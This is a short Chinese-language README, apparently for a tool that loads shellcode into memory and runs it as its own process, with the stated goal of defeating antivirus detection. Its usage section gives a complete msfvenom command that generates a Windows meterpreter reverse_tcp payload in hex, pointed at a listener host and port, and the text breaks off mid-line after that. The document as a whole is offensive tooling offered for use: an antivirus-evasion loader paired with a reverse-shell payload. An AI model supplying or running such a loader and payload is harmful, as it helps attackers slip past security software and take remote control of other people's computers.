壳码 这是一个将shellcode作为自己的进程运行的程序，所有程序均来自内存。 这样做是为了击败反病毒检测。 用法 请记住，只有64位shellcode将在64位进程中运行。 这无法自动检测您的Shellcode架构。 使用msfvenom或metasploit以十六进制格式生成一些shellcode： $ msfvenom -p windows/meterpreter/reverse_tcp -f hex -o rev.hex LHOST=127.0.0.1 LPORT=4444 c:\